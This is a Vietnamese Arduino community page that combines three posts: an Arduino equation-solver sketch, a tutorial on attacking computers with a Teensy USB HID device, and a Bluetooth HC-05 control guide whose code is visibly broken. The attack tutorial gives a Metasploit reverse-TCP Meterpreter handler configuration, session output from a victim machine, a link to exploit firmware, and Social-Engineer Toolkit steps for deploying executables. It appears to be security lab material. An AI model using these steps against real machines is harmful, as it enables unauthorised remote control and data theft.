Cộng đồng Arduino Việt Nam - máy tính

Giải hệ phương trình - Biến arduino thành máy tính

Đặng Cao Minh — Sun, 02 Aug 2020 11:07:00 +0000

Bạn có bao giờ nghĩ thuật toán để tìm nghiệm của hệ phương trình là gì trong các máy tính cầm tay ? Bài viết này sẽ trình bày cho các bạn một phương pháp tổng quát và cụ thể nhất đó là tính định thức ma trận vuông cấp n. Với phương pháp này các bạn có thể giải hệ phương trình n ẩn tùy ý miễn là arduino của các bạn đủ dung lượng SRAM và bộ nhớ flash. Không dài dòng nữa vào vấn đề chính thôi nào.

Yêu cầu

Có kiến thức và đam mê về lập trình arduino và Toán Học. Vì bài viết này sẽ không cần đấu nối điện tử gì cả, nhưng kiến thức về ma trận có thể làm "rớt não" và là ác mộng của sinh viên đại học . Và một ít kiến thức về dùng máy tính giao tiếp với arduino thông qua serial bằng cách làm thủ công và không dùng thư viện Serial Command. Mình vẫn còn là học sinh THPT nên nếu có kiến thức nào về ma trận không thỏa đáng thì xin các cao nhân thứ cho và chỉ giáo ạ .

Ý tưởng

Chúng ta sẽ đi từ dễ đến khó trước. Giả sử ta có một hệ phương trình hai ẩn như sau:

Để tìm nghiệm tổng quát ta cần tìm 3 định thức ma trận 2x2 sau:

Từ đó ta có công thức nghiệm tổng quát của hệ là (nếu det D=det D_x= det D_y=0 thì hệ có vô số nghiệm còn nếu det D=0 và det D_x, det D_y khác 0 thì hệ vô nghiệm):

Tương tự như vậy giả sử ta có một hệ phương trình 3 ẩn:

Ta cần tính 4 định thức ma trận vuông 3x3 như sau:

Ta sẽ tính định thức ma trận 3x3 bằng cách khai triển theo hàng. Xét ma trận 3x3 tổng quát thế thì định thức của nó là:

Và một lần nữa ta thu được nghiệm tổng quát của phương trình là:

Từ đó, với ý tưởng tạo ra một hàm tính định thức ma trận 2x2 thì ta có thể lồng ghép các hàm lại với nhau để tính ma trận nxn. Ví dụ để tính ma trận 4x4 ta cần hàm tính ma trận 3x3, và để tính ma trận 3x3 ta cần hàm tính ma trận 2x2, thật đơn giản phải không nào .

Lập trình

Các bạn nạp đoạn code sau vào arduino, bật Serial Monitor và nhập giá trị các biến.

String input;
char bien[]={'a','b','c','d','e','f','g','h','i','k','l','m'};
float variable[13]={};
float x;
float y;
float z;
void setup() {
Serial.begin(9600);
Serial.println("System of equations Caculator");
}

void loop(){
Serial.println("Type variable's quantities");
while(Serial.available()==0){}
  if(Serial.available()>0){
  input =Serial.readStringUntil('\n');
  if(input == "2"){Serial.println("2 variables equation"); nhapheso2an();}
  if(input == "3"){Serial.println("3 variables equation"); nhapheso3an();}
  }
}
void nhapheso2an(){
Serial.println("ax+by=c");
Serial.println("dx+ey=f");
byte count=1;
byte i;
byte m;
while(count<7){
for (i=1; i<7; i++){if(count==i){m=i; Serial.print("Type value of "); Serial.println(bien[i-1]);}}
while(Serial.available()==0){}
  if(Serial.available()>0){
  input =Serial.readStringUntil('\n');
  variable[m-1]=input.toFloat();
  count++;
  }}
giaihe2an();
delay(500);
}
void nhapheso3an(){
Serial.println("ax+by+cz=d");
Serial.println("ex+fy+gz=h");
Serial.println("ix+ky+lz=m");
byte count=1;
byte i;
byte m;
while(count<13){
for (i=1; i<13; i++){if(count==i){m=i; Serial.print("Type value of "); Serial.println(bien[i-1]);}}
while(Serial.available()==0){}
  if(Serial.available()>0){
  input =Serial.readStringUntil('\n');
  variable[m-1]=input.toFloat();
  count++;
  }}
giaihe3an();
delay(500);
}
void giaihe2an(){
float det;
float detx;
float dety;
det= matrix2(variable[0],variable[1],variable[3],variable[4]);
detx= matrix2(variable[2],variable[1],variable[5],variable[4]);
dety= matrix2(variable[0],variable[2],variable[3],variable[5]);
if((det==0)&&(detx==0)&&(dety==0)){Serial.println("Infinite Solution");}else{if(det==0){Serial.println("No Solution");}
else{
Serial.print("x = ");
Serial.print(detx);
Serial.print("/");
Serial.print(det);
Serial.print(" = ");
Serial.println(detx/det, 15);
Serial.print("y = ");
Serial.print(dety);
Serial.print("/");
Serial.print(det);
Serial.print(" = ");
Serial.println(dety/det, 15);
}}
}
void giaihe3an(){
float det;
float detx;
float dety;
float detz;
det= matrix3(variable[0],variable[1],variable[2],variable[4],variable[5],variable[6],variable[8],variable[9],variable[10]);
detx= matrix3(variable[3],variable[1],variable[2],variable[7],variable[5],variable[6],variable[11],variable[9],variable[10]);
dety= matrix3(variable[0],variable[3],variable[2],variable[4],variable[7],variable[6],variable[8],variable[11],variable[10]);
detz= matrix3(variable[0],variable[1],variable[3],variable[4],variable[5],variable[7],variable[8],variable[9],variable[11]);
if((det==0)&&(detx==0)&&(dety==0)&&(detz==0)){Serial.println("Infinite Solution");}else{if(det==0){Serial.println("No Solution");}
else{
Serial.print("x = ");
Serial.print(detx);
Serial.print("/");
Serial.print(det);
Serial.print(" = ");
Serial.println(detx/det, 15);
Serial.print("y = ");
Serial.print(dety);
Serial.print("/");
Serial.print(det);
Serial.print(" = ");
Serial.println(dety/det, 15);
Serial.print("z = ");
Serial.print(detz);
Serial.print("/");
Serial.print(det);
Serial.print(" = ");
Serial.println(detz/det, 15);
}}
}
float matrix2(float a, float b, float c, float e){
float det = a*e-b*c;
return det;
}
float matrix3(float a,float b,float c,float e,float f,float g,float h,float i,float k){
float det = a*matrix2(f,g,i,k)-b*matrix2(e,g,h,k)+c*matrix2(e,f,h,i);
return det;
}

Thế là bạn đã có một máy tính giải hệ phương trình có độ chính xác không kém các máy tính cầm tay thông thường rồi. Sau đây là video kết quả

Từ khóa:

Hệ phương trình

máy tính

Chuyên mục:

Level: Advanced - Nâng cao

Lập trình C

Nào cùng làm!

Youtube:

Tấn công máy tính sử dụng Teensy HID - P1

visudoblog — Mon, 11 Jul 2016 02:32:38 +0000

Giới thiệu

Kỹ thuật tấn công máy tính sử dụng thiết bị HID đã xuất hiện trong nhiều năm trở lại đây, thiết bị HID là một phân lớp của tiêu chuẩn USB - thường được ứng dụng trong khá nhiều các thiết bị ngoại vi với hình dạng, kích thước và chức năng khác nhau. Trong bài viết này, tôi sẽ tiến hành thử nghiệm các lab sử dụng thiết bị Teensy HID phiên bản phần cứng 3.2 để khai thác, chiếm quyền máy tính và một số hình thức tấn công đa dạng khác.

HID (Human Interface Device): là một phân lớp (class) trong tiêu chuẩn USB. Một thiết bị HID có thể được lập trình để định nghĩa lại chức năng của nó. Thiết bị HID có thể là một bàn phím USB, chuột USB, thiết bị chơi game cầm tay, thiết bị lưu trữ dữ liệu, ...

Các cuộc tấn công Social Engineering

Quá trình tìm kiếm và ứng dụng những điểm yếu bảo mật vào khai thác, đánh cắp dữ liệu là không ngừng. Sự phát triển của một giải pháp, xu hướng công nghệ luôn gắn liền những nguy cơ mà tin tặc có thể sử dụng để chống lại những người dùng bất cẩn. Quá trình phát triển các phần cứng độc hại cũng không ngoại lệ, và ngày càng mang tính chất tinh vi hơn, khả năng tấn công từ các thiết bị phần cứng ngày càng mở rộng.

Thực tế đã chứng minh các điều trên là đúng, tôi sẽ thực hiện tổng hợp một số tình huống tấn công cổ điển đến các phương thức mới nhất mà nạn nhân chính là người dùng cuối hoặc hệ thống CNTT có chính sách bảo mật kém.

Thiết bị lưu trữ USB chứa mã độc

Thiết bị lưu trữ USB đã trở thành một tiêu chuẩn sử dụng rộng rãi trong thời đại kỹ thuật số. Các nhà sản xuất thiết bị lưu trữ USB phải tuân thủ các chỉ dẫn trong "phân lớp thiết bị lưu trữ" (USB mass-storage device class) để thông báo đến hệ điều hành về thông tin phần cứng, giúp nhanh chóng xác định và kết nối với nhau thông qua driver. Có nhiều tiêu chuẩn được sử dụng rộng rãi trong phân lớp này bao gồm: USB lưu trữ, thẻ nhớ, thiết bị đọc thẻ, máy ảnh kỹ thuật số, máy chơi nhạc MP3/MP4, khung ảnh kỹ thuật số, điện thoại thông minh. Phương pháp tấn công chủ yếu trên những thiết bị này là có thể chứa những mã độc nhằm lợi dụng sự bất cẩn của người dùng để kích hoạt, đây được xem là dạng tấn công phổ biến và dễ dàng thực hiện tại thời điểm USB mới phổ biến.

Từ phiên bản hệ điều hành Windows 95, tính năng Autorun (sử dụng autorun.inf) là một trong những điểm đáng chú ý để các tin tặc dễ dàng triển khai mã độc mà không cần phải kích hoạt thủ công. Những phiên bản hệ điều hành về sau, Microsoft luôn cải tiến các tính năng nhằm bảo đảm người dùng được an toàn trước các thiết bị ngoại vi:

Windows XP chặn thực thi autorun.info từ USB, nhưng vẫn cho phép CD/DVD kích hoạt tính năng autorun.inf. Đây là thời điểm ra đời của thiết bị USB U3, cơ bản đây là một thiết bị USB thông thường được tích hợp chức năng tạo phân vùng mở rộng với định dạng thiết bị là CD/DVD nhằm vượt qua cơ chế kiểm soát của hệ điều hành.
Vista chặn autorun.inf trên mọi thiết bị ngoại vi và sự ra đời của cơ chế bảo vệ UAC (User Account Control). Cơ chế bảo vệ UAC vẫn được sử dụng cho những phiên bản Windows 7, Windows 8 và Windows 10 nhằm tăng khả năng kiểm soát việc thực thi mã độc tự động.
Hình thức tấn công sử dụng HID ngày nay đã có thể vượt qua hầu hết các cơ chế kiểm soát an ninh mặc định của hệ điều hành.

Thiết bị lưu trữ USB U3

USB U3, cơ bản đây là một thiết bị USB thông thường được tích hợp chức năng tạo phân vùng mở rộng với định dạng thiết bị là CD/DVD

Sư ra đời của thiết bị USB U3 là một nhánh phát triển của kỹ thuật vượt cơ chế kiểm soát USB của hệ điều hành Windows XP. USB U3 lợi dụng chính sách Autorun chỉ được cho phép trên CD/DVD, các tin tặc đã áp dụng tính năng nhằm lưu trữ và thực thi mã độc tự động trên XP.

Thiết bị HID - kỹ thuật tấn công đa hình

Nhằm vượt qua các cơ chế kiểm soát của hệ điều hành ngày nay, phương án tấn công sử dụng thiết bị HID là một lựa chọn hoàn hảo. Bằng cách lập trình lại vi điều khiển của thiết bị HID, tin tặc có thể giả lập các hành vi của bàn phím, chuột để gởi các thông tin dữ liệu mong muốn đến máy tính/ thiết bị kết nối nhằm thực thi mã độc chiếm quyền điều khiển.

Do đặc tính linh động và có thể định nghĩa lại vi xử lý, HID có thể ẩn mình dưới nhiều hình dạng và chức năng khác nhau như: bộ sạc nguồn, bàn phím, quạt USB, đèn USB, đầu đọc thẻ nhớ, đồng hồ,...

Trên thị trường hiện nay có khá nhiều vi xử lý, mạch tích hợp, thiết bị hỗ trợ HID và người dùng có thể nhanh chóng thay đổi cấu trúc firmware của nó thông qua ngôn ngữ lập trình. Một số tiêu biểu như Arduino, Raspberry Pi, Teensy, USB Rubber Ducky Deluxe,...

Hình 1: Các thiết bị hỗ trợ HID

Thiết bị Teensy HID

Teensy là một mạch tích hợp sử dụng vi xử lý trên nền tảng USB, thiết kế với kích thước nhỏ và có thể phát triển mở rộng thành nhiều tính năng khác nhau. Tất cả quá trình biên dịch, nạp chip và thực thi mã đều thông qua kết nối USB. Giá của mạch Teensy 3.2 là khoảng 20 USD và bạn có thể mua trực tuyến tại PJRC Store.

Hình 2: Thiết bị Teensy 3.2

Arduino IDE, Teensyduino

Để tiến hành nạp các mã nguồn vào thiết bị, bạn cần phải cài đặt Arduino IDE và thư viện Teensyduino;

Tải Arduino IDE: https://www.arduino.cc/en/Main/Software
Tải Teensyduino: https://www.pjrc.com/teensy/td_download.html

Hình 3: Giao diện Arduino IDE và Teensyduino

Sau khi tiến hành cái đặt thành công, bạn có thể tiến hành lập trình và nạp chương trình vào thiết bị qua giao diện Arduino IDE. Cần chú ý chọn đúng phiên bản phần cứng mà bạn sử dụng để nạp chương trình.

Hình 4: Thiết lập môi trường lập trình Teensy 3.2

Teensy USB – Tấn công đa nền tảng

Teensy có thể đóng vai trò là một thiết bị mã độc (lưu trữ các mã dropper trong chính thiết bị Teensy), hoặc có thể kết hợp với thẻ nhớ SD để mở rộng vùng lưu trữ dữ liệu (lưu trữ các CVE exploit, 0-day, malware,...). Khi dropper được tạo trên máy nạn nhân, nó sẽ tiến hành nhận các mã khai thác, backdoor,... từ máy chủ tin tặc.

Tấn công 1: Teensy USB + Metasploit

Đây là kỹ thuật tấn công đơn giản nhất để kiếm soát máy nạn nhân dưới 30 giây.

Bước 1: Kích hoạt Metasploit tại máy chủ tin tặc

Tạo tập tin payload_handler.rc với nội dung như sau:

root@kali:~# cat payload_handler.rc  
use multi/handler  
set payload windows/meterpreter/reverse_tcp  
set LHOST 0.0.0.0  
set LPORT 4444  
set ExitOnSession false  
set EnableStageEncoding true  
exploit -j

Khởi tạo máy chủ tin tặc sử dụng lệnh msfconsole:

root@kali:~# msfconsole -r payload_handler.rc  
....
[*] Processing payload_handler.rc for ERB directives.
resource (payload_handler.rc)> use multi/handler  
resource (payload_handler.rc)> set payload windows/meterpreter/reverse_tcp  
payload => windows/meterpreter/reverse_tcp  
resource (payload_handler.rc)> set LHOST 0.0.0.0  
LHOST => 0.0.0.0  
resource (payload_handler.rc)> set LPORT 4444  
LPORT => 4444  
resource (payload_handler.rc)> set ExitOnSession false  
ExitOnSession => false  
resource (payload_handler.rc)> set EnableStageEncoding true  
EnableStageEncoding => true  
resource (payload_handler.rc)> exploit -j  
[*] Exploit running as background job.

Bước 2: Nạp chương trình Teensy

Có nhiều platform cung cấp mã chương trình phục vụ tạo kết nối từ máy nạn nhân đến máy chủ tin tặc như: Social Engineering Toolkit, hid-backdoor-peensy,... Trong ví dụ này, tôi sẽ sử dụng mã khai thác Teensyterpreter với các tính năng cơ bản nhất để có thể nhanh chóng hiểu rõ tính năng của Teensy.

Tải mã nguồn Teensyterpreter tại:https://raw.githubusercontent.com/KernelEquinox/Teensyterpreter/master/Teensyterpreter.ino

Thực hiện mở tập tin Teensyterpreter.ino trong Arduino IDE và cần điều chỉnh cấu hình kết nối đến IP, Port máy chủ Metasploit.

Hình 5: Thiết lập địa chỉ IP, cổng kết nối đến máy chủ tin tặc

Trước khi thực hiện biên dịch và nạp chip, cần chú ý thiết lập thiết bị Teensy là "Keyboard + Mouse + Joystick".

Hình 6: Thiết lập loại thiết bị USB

Thực hiện biên dịch và nạp chip thông qua nút Verify và Upload.

Hình 7: Biên dịch Teensyterpreter

Sau khi nạp chương trình bạn có thể thực hiện kiểm tra kết nối tại Metasploit.

[*] Started reverse TCP handler on 0.0.0.0:4444 
[*] Starting the payload handler...
msf exploit(handler) > [*] Encoded stage with x86/shikata_ga_nai  
[*] Sending encoded stage (958029 bytes) to 14.187.167.126
[*] Meterpreter session 1 opened (192.168.207.141:4444 -> 14.187.167.126:11167) at 2016-07-10 01:34:04 -0400

msf exploit(handler) > sessions -i

Active sessions  
===============

  Id  Type                   Information                Connection
  --  ----                   -----------                ----------
  1   meterpreter x86/win32  VICTIM\victim @ VICTIM  192.168.207.141:4444 -> 14.187.167.126:11167 (192.168.1.64)

msf exploit(handler) >

Hình 8: Kết nối từ máy nạn nhận đến Metasploit

Tấn công 2: Teensy USB + Micro SD card

Nhằm khắc phục những hạn chế khi tấn công máy tính trong môi trường không có kết nối internet, hoặc cần sao chép dữ liệu trên một máy tính nạn nhân, tôi thực hiện lưu trữ mã độc vào thẻ nhớ MicroSD và nạp lại chương trình cho Teensy.

Đế có thể kết nối thêm thiết bị MicroSD vào Teensy, tôi cần thêm một module tích hợp "SD Adatpor". Đây là module tương thích với Teensy USB và có kích thước nhỏ, phù hợp cho việc ngụy trang thiết bị.

Hình 9: Mạch tích hợp SD Adaptor

Tuy nhiên, bạn cũng có thể mua một số loại adaptor khác từ thị trường, bạn cần đọc kỹ các chỉ dẫn để có thể kết nối phần cứng và nạp chương trình cho các chân phù hợp.

Hình 10: Mạch tích hợp SD Adaptor dành cho Arduino

Hình 11: Kết nối Teensy USB và SD adaptor

Kết nối phần cứng

Để thực hiện kết nối các thiết bị phần cứng, tôi sử dụng một số dây nối loại đầu cái-cái 10cm, và hàn các chân đực vào mạch Teensy. Sơ đồ kết nối như sau:

SD Adaptor	Teensy
5V (VCC)	3.3V (100mA max)
Groud (GND)	GND
MOSI	11, DOUT
MISO	12,DIN
SCLK (SCK)	13, SCK
SS (CS)	10, CS

Nạp chương trình đọc thẻ nhớ

Tôi tiến hành nạp chương trình kiểm tra kết nối đến thẻ nhớ và kiểm tra dữ liệu tại cổng COM.

Hình 12: Mã nguồn SD CardInfo

Cần điều chỉnh chipSelect =10 tương đương với cổng CS/SS theo kết nối vật lý.

// change this to match your SD shield or module;
// Arduino Ethernet shield: pin 4
// Adafruit SD shields and modules: pin 10
// Sparkfun SD shield: pin 8
const int chipSelect = 10;

Hình 13: Mã nguồn SD CardInfo

Hình 14: Mã nguồn SD CardInfo

Triển khai mã độc

Tôi sử dụng chương trình Social-Engineer Toolkit (SET) tại Kali để tạo mã độc và nạp chương trình cho Teensy.

Hình 15: Luồng tấn công sử dụng Teensy + SD Card

root@kali:~# setoolkit  
1) Social-Engineering Attacks  
6) Arduino-Based Attack Vector  
8) SDCard 2 Teensy Attack (Deploy Any EXE)

Tải chương trình payload.exe đã tạo sẵn vào chuyển thành .txt tại đường dẫn /usr/share/set/. Sao chép converts.txt vào thẻ nhớ và nạp teensy.pde vào Teensy.

Tham khảo

How AutoRun Malware Became a Problem on Windows, and How It Was (Mostly) Fixed
Don’t Panic, But All USB Devices Have a Massive Security Problem
HTG Explains: What Is Juice Jacking and How Worried Should You Be?
https://www.pjrc.com/teensy/
http://www.irongeek.com/i.php?page=security/plug-and-prey-malicious-usb-devices
http://www.irongeek.com/i.php?page=security/programmable-hid-usb-keystroke-dongle
https://www.offensive-security.com/offsec/advanced-teensy-penetration-testing-payloads/
https://github.com/offensive-security/hid-backdoor-peensy
https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/teensy/peensy.pde
https://github.com/matterpreter/penteensy
https://github.com/samratashok/nishang
http://www.linux-usb.org/usb.ids
https://jumpespjump.blogspot.com/2013/09/making-pc-mouse-hw-trojan.html

Từ khóa:

Chuyên mục:

Dùng máy tính điều khiển Arduino thông qua bluetooth với C# - Một cái nhìn toàn diện về module bluetooth HC-05

Đỗ Hữu Toàn — Tue, 28 Jun 2016 13:00:14 +0000

1. Lý do viết bài

Để trả lời câu hỏi của bạn Trần Tùng: “Có cách nào để máy tính dùng C# để điều khiển Arduino qua bluetooth không?”. Hôm nay, viết bài để giải quyết vấn đề này, đó là : Dùng máy tính để điều khiển Arduino thông qua module HC-05

2.Giới thiệu về module Bluetooth HC-05, các chế độ hoạt động, và các lệnh AT hay dùng

a. Giới thiệu

Bluetooth là chuẩn truyền thông không dây để trao đổi dữ liệu ở khoảng cách ngắn.Chuẩn truyền thông này sử dụng sóng radio ngắn(UHF radio) trong dải tần số ISM (2.4 tới 2.485 GHz). Khoảng cách truyền của module này vào khoảng 10m. Ở bài viết này, mình muốn giới thiệu đến các bạn một module sử dụng chuẩn truyền thông này là module HC-05. Module này được thiết kế dựa trên chip BC417. Con chip này khá phức tạp và sử dụng bộ nhớ flash ngoài 8Mbit. Nhưng việc sử dụng module này hoàn toàn đơn giản bởi nhà sản xuất đã tích hợp mọi thứ cho bạn trên module HC-05.

Sơ đồ chân HC-05 gồm có:

KEY: Chân này để chọn chế độ hoạt động AT Mode hoặc Data Mode.
VCC: chân này có thể cấp nguồn từ 3.6V đến 6V bên trong module đã có một ic nguồn chuyển về điện áp 3.3V và cấp cho IC BC417.
GND: nối với chân nguồn GND
TXD, RND đây là hai chân UART để giao tiếp module hoạt động ở mức logic 3.3V
STATE các bạn chỉ cần thả nổi và không cần quan tâm đến chân này.

b. Các chế độ hoạt động

HC-05 có hai chế độ hoạt động là Command Mode và Data Mode. Ở chế độ Command Mode ta có thể giao tiếp với module thông qua cổng serial trên module bằng tập lệnh AT quen thuộc. Ở chế độ Data Mode module có thể truyền nhận dữ liệu tới module bluetooth khác. Chân KEY dùng để chuyển đổi qua lại giữa hai chế độ này. Có hai cách để bạn có thể chuyển module hoạt động trong chế độ Data Mode (đọc tài liệu Tiếng Việt trên một số Web thấy chỗ này thường bị viết sai)

Nếu đưa chân này lên mức logic cao trước khi cấp nguồn module sẽ đưa vào chế độ Command Mode với baudrate mặc định 38400. Chế độ này khá hữu ích khi bạn không biết baudrate trong module được thiết lập ở tốc độ bao nhiêu. Khi chuyển sang chế độ này đèn led trên module sẽ nháy chậm (khoảng 2s) và ngược lại khi chân KEY nối với mức logic thấp trước khi cấp nguồn module sẽ hoạt động chế độ Data Mode.

Nếu module đang hoạt động ở chế Data Mode để có thể đưa module vào hoạt động ở chế độ Command Mode bạn đưa chân KEY lên mức cao. Lúc này module sẽ vào chế độ Command Mode nhưng với tốc độ Baud Rate được bạn thiết lập lần cuối cùng. Vì thế bạn phải biết baudrate hiện tại của thiết bị để có thể tương tác được với nó. Chú ý nếu module của bạn chưa thiết lập lại lần nào thì mặc định của nó như sau:

Baudrate 9600, data 8 bits, stop bits 1, parity : none, handshake: none
Passkey: 1234
Device Name: HC-05

Ở chế độ Data Mode HC-05 có thể hoạt động như một master hoặc slave tùy vào việc bạn cấu hình (riêng HC-06 bạn chỉ có thể cấu hình ở chế độ SLAVE)

Ở chế độ SLAVE: bạn cần thiết lập kết nối từ smartphone, laptop, usb bluetooth để dò tìm module sau đó pair với mã PIN là 1234. Sau khi pair thành công, bạn đã có 1 cổng serial từ xa hoạt động ở baud rate 9600.
Ở chế độ MASTER: module sẽ tự động dò tìm thiết bị bluetooth khác (1 module bluetooth HC-06, usb bluetooth, bluetooth của laptop...) và tiến hành pair chủ động mà không cần thiết lập gì từ máy tính hoặc smartphone.

c. Tập lệnh AT

AT: Lệnh test, nó sẽ trả về OK nếu module đã hoạt động ở Command Mode

AT+VERSION? :trả về firmware hiện tại của module

AT+UART=9600,0,0 ( thiết lập baudrate 9600,1 bit stop, no parity)

Các lệnh ở chế độ Master

AT+RMAAD : ngắt kết nối với các thiết bị đã ghép

AT+ROLE=1 : đặt là module ở master

AT+RESET: reset lại thiết bị

AT+CMODE=0: Cho phép kết nối với bất kì địa chỉ nào

AT+INQM=0,5,5: Dừng tìm kiếm thiết bị khi đã tìm được 5 thiết bị hoặc sau 5s

AT+PSWD=1234 Set Pin cho thiết bị

AT+INQ: Bắt đầu tìm kiếm thiết bị để ghép nối

Sau lệnh này một loạt các thiết bị tìm thấy được hiện thị. Định ra kết quả sau lệnh này như sau

INQ:address,type,signal

Phần địa chỉ (address) sẽ có định dạng như sau: 0123:4:567890. Để sử dụng địa chỉ này trong các lệnh tiếp theo ta phải thay dấu “:” thành “,”

0123:4:567890 -> 0123,4,5678

AT+PAIR=<address>,<timeout> : Đặt timeout(s) khi kết nối với 1 địa chỉ slave

AT+LINK=<address> Kết nối với slave

Các lệnh ở chế độ Slave

AT+ORGL: Reset lại cài đặt mặc định

AT+RMAAD: Xóa mọi thiết bị đã ghép nối

AT+ROLE=0: Đặt là chế độ SLAVE

AT+ADDR: Hiển thị địa chỉ của SLAVE

3. Cách làm

Quay về nội dung chính của bài viết này…Mình sẽ chia sẻ cách dùng máy tính điều khiển Arduino thông qua HC-05

a. Kết nối

HC-05	Arduino UNO
Key	7
TX	RX
RX	TX
GND	GND
Vcc	5V

b. Code cho Arduino

Sau khi nối dây xong…các bạn nạp code này vô Arduino:

#
define KEY 7

# define LED 13

bool ok;

int
var;

String bf = "";



void setup()

{

 pinMode(KEY, OUTPUT);

 digitalWrite(KEY, LOW);

 pinMode(LED, OUTPUT);

 digitalWrite(LED, HIGH);

 delay(3000);

 Serial.begin(9600);

 ok = configure_HC05();



}



void loop() {



  if (ok)

  {

   if (Serial.available() > 0)

   {

    var = Serial.Read();

    Serial.println(var);

    if (var == ‘1’) {
     digitalWrite(LED, HIGH);
    } else if (var == ‘2’) {
     digitalWrite(LED, LOW);

    }
   }



   bool configure_HC05()

   {

    digitalWrite(KEY, HIGH);

    Serial.println("AT");

    delay(2000);

    if (!Serial.find("OK"))

     return false;



    Serial.println("AT+RMAAD");

    delay(2000);

    if (!Serial.find("OK"))

     return false;



    Serial.println("AT+PSWD=1234");

    delay(2000);

    if (!Serial.find("OK"))

     return false;



    Serial.println("AT+ROLE=0");

    delay(2000);

    if (!Serial.find("OK"))

     return false;

    digitalWrite(KEY, LOW);

    Serial.println("AT+RESET");

    delay(2000);

    if (!Serial.find("OK"))

     return false;

    delay(5000);

    Serial.println("Bluetooth Ready!");

    return true;

   }

c. Mô tả code:

Trong code đầu tiên mình sẽ chỉnh chân KEY lên mức logic cao sau đó sẽ tiến hành cấu hình nó như một SLAVE với tập lệnh sau:

AT+RMAAD
AT+PSWD=1234
AT+ROLE=0

Sau khi cấu hình sau ta đưa chân KEY lên mức logic cao và reset lại module với lệnh

AT+RESET

Lúc này HC-05 của bạn đã chạy ở chế độ SLAVE và bạn đã hoàn tất bước cấu hình.

Sau đó module sẽ đợi lệnh bật tắt Led từ máy tính.

Sau khi cấu hình sau ta đưa chân KEY lên mức logic cao và reset lại module với lệnh

AT+RESET

Lúc này HC-05 của bạn đã chạy ở chế độ SLAVE và bạn đã hoàn tất bước cấu hình.

Sau đó module sẽ đợi lệnh bật tắt Led từ máy tính.

d. Thiết lập PC và HC05

Bước 1:Sau khi nạp code vào vi điều khiển bạn hãy tiến hành kết nối HC-05 với Bluetooth trên máy tính

Sau khi PC và HC-05 đã được ghép nối ta sẽ thấy trong mục “Device Manager” hiện thêm 2 cổng COM. Lúc này bạn đã có 1 cổng COM từ xa để điều khiển LED rồi đó

Bước 2:Ta vào mục Bluetooth Setting để xem cổng nào là cổng “OutGoing” ta sẽ dùng cổng này để điều khiển đèn Led (trong trường hợp hình bên dưới là cổng COM 9)

Bước 3: Bạn dùng phần mềm tự tạo bằng C# như bài viết C# (C Sharp) – Một cách điều khiển Arduino bằng máy tính của mình và Đinh Hồng Thái đã làm để điều khiển cổng COM9 là ok!!!

Link down phần mềm bọn mình tự thiết kế:

Bản 1: http://arduino.vn/bai-viet/902-c-sharp-c-mot-cach-dieu-khien-arduino-bang-may-tinh
Bản 2: http://arduino.vn/bai-viet/908-c-c-sharp-nhan-du-lieu-tu-arduino

4. Kết quả

Sau khi hoàn thành, các ban đã có một cổng COM từ xa điều khiển qua bluetooth rồi đó. Chúc các bạn thành công!!!! Và nhớ Rate Node cho mình nhé!!!!

Từ khóa:

Chuyên mục: